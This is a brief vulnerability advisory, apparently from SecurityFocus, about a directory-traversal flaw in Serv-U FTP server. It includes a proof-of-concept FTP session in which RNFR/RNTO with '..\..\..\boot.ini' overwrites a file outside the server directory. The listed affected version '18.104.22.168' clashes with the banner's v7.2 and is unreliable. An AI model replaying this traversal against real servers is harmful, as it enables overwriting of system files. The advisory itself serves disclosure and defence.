source: http://www.securityfocus.com/bid/31563/info RhinoSoft Serv-U FTP server is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. Exploiting this issue allows an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks. Serv-U FTP server 18.104.22.168 is vulnerable; other versions may also be affected. 220 Serv-U FTP Server v7.2 ready... user test 331 User name okay, need password. pass test 230 User logged in, proceed. rnfr any_exist_file.ext 350 File or directory exists, ready for destination name. rnto ..\..\..\boot.ini 250 RNTO command successful.